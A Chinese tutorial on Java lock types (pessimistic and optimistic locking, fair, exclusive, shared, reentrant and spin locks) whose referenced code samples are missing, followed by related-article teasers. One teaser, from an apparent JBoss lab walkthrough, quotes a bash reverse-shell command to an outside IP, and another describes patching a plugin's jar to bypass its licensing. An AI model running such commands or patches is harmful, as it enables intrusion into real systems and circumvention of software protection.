JAVA线程基础二——锁的概述之乐观锁与悲观锁

乐观锁与悲观锁

        乐观锁和悲观锁是在数据库中引入的名词,但是在并发包锁里面也引入了类似的思想,所以这里还是有必要讲解下。    

        悲观锁指对数据被外界修改持保守态度,认为数据很容易就会被其他线程修改,所以在数据被处理前先对数据进行加锁,并在整个数据处理过程中,使数据处于锁定状态。悲观锁的实现往往依靠数据库提供的锁机制,即在数据库中,在对数据记录操作前给记录加排它锁。如果获取锁失败,则说明数据正在被其他线程修改,当前线程则等待或者抛出异常。如果获取锁成功,则对记录进行操作,然后提交事务后释放排它锁。    

下面我们看一个典型的例子,看它如何使用悲观锁来避免多线程同时对一个记录进行修改。

        对于如上代码,假设 updateEntry、query、update 方法都使用了事务切面的方法,并且事务传播性被设置为required。执行updateEntry 方法时如果上层调用方法里面没有开启事务,则会即时开启一个事务,然后执行代码(1)。代码(1)调用了query方法,其根据指定id 从数据库里面查询出一个记录。由于事务传播性为requried,所以执行 query 时没有开启新的事务,而是加入了updateEntry开启的事务,也就是在updateEntry方法执行完毕提交事务时,query方法才会被提交,就是说记录的锁定会持续到updateEntry执行结束。

        代码(2)则对获取的记录进行修改,代码(3)把修改的内容写回数据库,同样代码(3)的 update 方法也没有开启新的事务,而是加入了updateEntry的事务。也就是 updateEntry、query、update 方法共用同一个事务。
        当多个线程同时调用updateEntry方法,并且传递的是同一个id时,只有一个线程执行代码(1)会成功,其他线程则会被阻塞,这是因为在同一时间只有一个线程可以获取对应记录的锁,在获取锁的线程释放锁前(updateEntry执行完毕,提交事务前),其他线程必须等待,也就是在同一时间只有一个线程可以对该记录进行修改。
        乐观锁是相对悲观锁来说的,它认为数据在一般情况下不会造成冲突,所以在访问记录前不会加排它锁,而是在进行数据提交更新时,才会正式对数据冲突与否进行检测。具体来说,根据 update返回的行数让用户决定如何去做。将上面的例子改为使用乐观锁的代码如下。

        在如上代码中,当多个线程调用updateEntry方法并且传递相同的id时,多个线程可以同时执行代码(1)获取id对应的记录并把记录放入线程本地栈里面,然后可以同时执行代码(2)对自己栈上的记录进行修改,多个线程修改后各自的entry里面的属性应该都不一样了。然后多个线程可以同时执行代码(3),代码(3)中的update语句的 where 条件里面加入了 version=#{version}条件,并且set语句中多了 version=S{version}+1 表达式,该表达式的意思是,如果数据库里面id=#{id}and version=#{version}的记录存在,则更新version 的值为原来的值加 1,这有点 CAS 操作的意思。
        假设多个线程同时执行 updateEntry并传递相同的id,那么它们执行代码(1)时获取的 Entry 是同一个,获取的Entry 里面的 version值都是相同的(这里假设 version=0)。当多个线程执行代码(3)时,由于update 语句本身是原子性的,假如线程A执行update 成功了,那么这时候id 对应的记录的 version值由原始 version值变为了1。其他线程执行代码(3)更新时发现数据库里面已经没有了version=0的语句,所以会返回影响行号0。在业务上根据返回值为0就可以知道当前更新没有成功,那么接下来有两个做法,如果业务发现更新失败了,下面可以什么都不做,也可以选择重试,如果选择重试,则updateEntry的代码可以修改为如下。

        如上代码使用 retryNum 设置更新失败后的重试次数,如果代码(3.1)执行后返回0,则说明代码(1.1)获取的记录已经被修改了,则循环一次,重新通过代码(1.1)获取最新的数据,然后再次执行代码(3.1)尝试更新。这类似CAS的自旋操作,只是这里没有使用死循环,而是指定了尝试次数。
        乐观锁并不会使用数据库提供的锁机制,一般在表中添加version字段或者使用业务状态来实现。乐观锁直到提交时才锁定,所以不会产生任何死锁。

公平锁与非公平锁

        根据线程获取锁的抢占机制,锁可以分为公平锁和非公平锁,公平锁表示线程获取锁的顺序是按照线程请求锁的时间早晚来决定的,也就是最早请求锁的线程将最早获取到锁。而非公平锁则在运行时闯入,也就是先来不一定先得。

        ReentrantLock提供了公平和非公平锁的实现

  • 公平锁:ReentrantLock pairLock=new ReentrantLock(true)。
  •  非公平锁:ReentrantLock pairLock=new ReentrantLock(false)。如果构造函数不传递参数,则默认是非公平锁。

        例如,假设线程A已经持有了锁,这时候线程B请求该锁其将会被挂起。当线程 A释放锁后,假如当前有线程C也需要获取该锁,如果采用非公平锁方式,则根据线程调度策略,线程 B和 线程C两者之一可能获取锁,这时候不需要任何其他干涉,而如果使用公平锁则需要把C挂起,让B获取当前锁。
        在没有公平性需求的前提下尽量使用非公平锁,因为公平锁会带来性能开销

       

独占锁与共享锁

        根据锁只能被单个线程持有还是能被多个线程共同持有,锁可以分为独占锁和共享锁。

        独占锁保证任何时候都只有一个线程能得到锁,Reentrantock就是以独占方式实现的。共享锁则可以同时由多个线程持有,例如ReadWriteLock读写锁,它允许一个资源可以被多线程同时进行读操作。
        独占锁是一种悲观锁,由于每次访问资源都先加上互斥锁,这限制了并发性,因为读操作并不会影响数据的一致性,而独占锁只允许在同一时间由一个线程读取数据,其他线程必须等待当前线程释放锁才能进行读取。
        共享锁则是一种乐观锁,它放宽了加锁的条件,允许多个线程同时进行读操作

什么是可重入锁

        当一个线程要获取一个被其他线程持有的独占锁时,该线程会被阻塞,那么当一个线程再次获取它自己已经获取的锁时是否会被阻塞呢?如果不被阻塞,那么我们说该锁是可重入的,也就是只要该线程获取了该锁,那么可以无限次数(在高级中我们将知道,严格来说是有限次数)地进入被该锁锁住的代码。

        下面看一个例子,看看在什么情况下会使用可重入锁。

        在如上代码中,调用 helloB 方法前会先获取内置锁,然后打印输出。之后调用helloA方法,在调用前会先去获取内置锁,如果内置锁不是可重入的,那么调用线程将会一直被阻塞。
        实际上,synchronized 内部锁是可重入锁。可重入锁的原理是在锁内部维护一个线程标示,用来标示该锁目前被哪个线程占用,然后关联一个计数器。一开始计数器值为0,说明该锁没有被任何线程占用。当一个线程获取了该锁时,计数器的值会变成1,这时其他线程再来获取该锁时会发现锁的所有者不是自己而被阻塞挂起。
        但是当获取了该锁的线程再次获取锁时发现锁拥有者是自己,就会把计数器值加+1,当释放锁后计数器值-1。当计数器值为0时,锁里面的线程标示被重置为null,这时候被阻塞的线程会被唤醒来竞争获取该锁。

自旋锁

        由于Java中的线程是与操作系统中的线程一一对应的,所以当一个线程在获取锁(比如独占锁)失败后,会被切换到内核状态而被挂起。当该线程获取到锁时又需要将其切换到内核状态而唤醒该线程。而从用户状态切换到内核状态的开销是比较大的,在一定程度上会影响并发性能。自旋锁则是,当前线程在获取锁时,如果发现锁已经被其他线程占有,它不马上阻塞自己,在不放弃CPU使用权的情况下,多次尝试获取(默认次数是10,可以使用 -XX:PreBlockSpinsh参数设置该值),很有可能在后面几次尝试中其他线程已经释放了锁。如果尝试指定的次数后仍没有获取到锁则当前线程才会被阻塞挂起。由此看来自旋锁是使用CPU时间换取线程阻塞与调度的开销,但是很有可能这些CPU时间白白浪费

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/435885.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python 如何引用变量

在字符串中引入变量有三种方法: 1、 连字符 name zhangsan print(my name is name) 结果为 my name is zhangsan 2、% 字符 name zhangsan age 25 price 4500.225 print(my name is %s%(name)) print(i am %d%(age) years old) print(my price is %f%(pric…

项目管理专业资质认证ICB 3中关于项目经理素质的标准

项目管理专业资质认证ICB 3中关于项目经理素质的标准,的确很全面,下面摘录之:

15年408计算机网络

第一题: 解析: 接收方使用POP3向邮件服务器读取邮件,使用的TCP连接,TCP向上层提供的是面向连接的,可靠的数据传输服务。 第二题: 解析:物理层-不归零编码和曼彻斯特编码 编码1:电平在…

LabVIEW项目编码器选择

在LabVIEW项目中,选择增量式(Incremental Encoder)和绝对式(Absolute Encoder)编码器取决于项目的具体需求。增量式编码器和绝对式编码器在工作原理、应用场景、精度和成本等方面存在显著差异。以下从多方面详细阐述两…

又一年国庆至,“打工人”在欢呼,OTA们在雀跃

国庆“黄金周”倒计时最后一天,旅游出行即将迎来新一轮高峰。 安信国际指出,国庆期间,出游人次的增长确定性高于人均消费的增长。预计国内旅游收入7,000-7,500亿元,较2019年同期增8%-15%;预计国内旅游人次8.5-9.0亿人…

今日指数项目A股大盘数据采集

1、A股大盘数据采集 1.1 A股大盘数据采集准备 1.1.1 配置ID生成器bean A股大盘数据采集入库时,主键ID保证唯一,所以在stock_job工程配置ID生成器: Configuration public class CommonConfig {/*** 配置基于雪花算法生成全局唯一id* 参与…

springboot+大数据+基于协同过滤算法的校园食堂订餐系统【内含源码+文档+部署教程】

博主介绍:✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久,选择我们就是选择放心、选择安心毕业✌ 🍅由于篇幅限制,想要获取完整文章或者源码,或者代做&am…

Git常用方法——详解

一、下载安装git git官网: Git - Downloads (git-scm.com) 下载安装Git(超详细超简单)_git下载-CSDN博客 二、克隆下载至本地 1、复制HTTPS链接 在gitee或者gitLab或者gitHub上复制HTTPS链接 2、打开Open Git Bash here 在本地想要新建文…

闯关训练一:Linux基础

闯关任务:完成SSH连接与端口映射并运行hello_world.py 1.创建开发机 2.SSH连接 3. VS-Code 连接 选择 Linux 平台 ,输入密码 ,选择进入文件夹 4.端口映射 按照下文安装Docs pip install gradio 运行server.py import gradio as grdef …

工业制造场景中的设备管理深度解析

在工业制造的广阔领域中,设备管理涵盖多个关键方面,对企业的高效生产和稳定运营起着举足轻重的作用。 一、设备运行管理 1.设备状态监测 实时监控设备的运行状态是确保生产顺利进行的重要环节。通过传感器和数据采集系统等先进技术,获取设备…

新书速览|Stable Diffusion-ComfyUI AI绘画工作流解析

《Stable Diffusion-ComfyUI AI绘画工作流解析》 本书内容 《Stable Diffusion-ComfyUI AI绘画工作流解析》从零开始,详尽系统地讲解从本地部署ComfyUI、下载安装自定义节点,到搭建各种工作流程的全过程。同时,辅以3D形象转绘、艺术二维码和证…

思科dhcp的配置

以路由器为例 让pc3 自动获取ip地址并获取的网段为172.16.4.100-172.16.4.200 配置如下: R1(config)#interface GigabitEthernet0/2 R1(config)#ip address 172.16.4.254 255.255.255.0 R1(config)# no shutdown R1(config)#ip dhcp pool 4_pool //创建dhcp地址池…

【原创】java+swing+mysql企业招聘管理系统设计与实现

个人主页:程序员杨工 个人简介:从事软件开发多年,前后端均有涉猎,具有丰富的开发经验 博客内容:全栈开发,分享Java、Python、Php、小程序、前后端、数据库经验和实战 文末有本人名片,希望和大家…

【设计模式-模板】

定义 模板方法模式是一种行为设计模式,它在一个方法中定义了一个算法的骨架,并将一些步骤延迟到子类中实现。通过这种方式,模板方法允许子类在不改变算法结构的情况下重新定义算法中的某些特定步骤。 UML图 组成角色 AbstractClass&#x…

【DP解密多重背包问题】:优化策略与实现

文章目录 什么是多重背包问题?多重背包问题的数学模型 例题多重背包问题Ⅰ多重背包问题Ⅱ 总结 什么是多重背包问题? 多重背包问题是一个经典的组合优化问题。与标准背包问题不同,在多重背包问题中,每种物品可以选择多个&#xf…

基于php的律所管理系统

作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏:Java精选实战项目…

MQTT--EMQX入门+MQTTX使用

目录 1、什么是EMQX?1.1 EMQX介绍1.2 EMQX特点1.3 与物联网之间的关系以及主要的产品主要的产品 2、安装启动2.1 基本命令2.2 目录结构 3、MQTTX客户端3.1 连接配置 总结PS: 1、什么是EMQX? 首先你得有MQTT的知识,不认识MQTT的小伙伴可以先看…

Squaretest单元测试辅助工具使用

1、idea安装插件 Squaretest 然后关掉idea 2、安装字节码软件(jclasslib) 3、找到idea里面的Squaretest安装目录 找到包含TestStarter的jar包 4、打开 com.squaretest.c.f 打开后选择常量池 5、找到第16个修改 Long value值,修改的数字即为使…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

nginx的安装和使用

源码安装 1.环境准备:卸载其他方式安装的web应用,防止端口冲突 2.下载nginx源码包 wget https://nginx.org/download/nginx-1.20.2.tar.gz 3.源码编译安装 yum install -y gcc pcre-devel zlib-devel #安装依赖包 useradd -M -s /sbin/nologin ngi…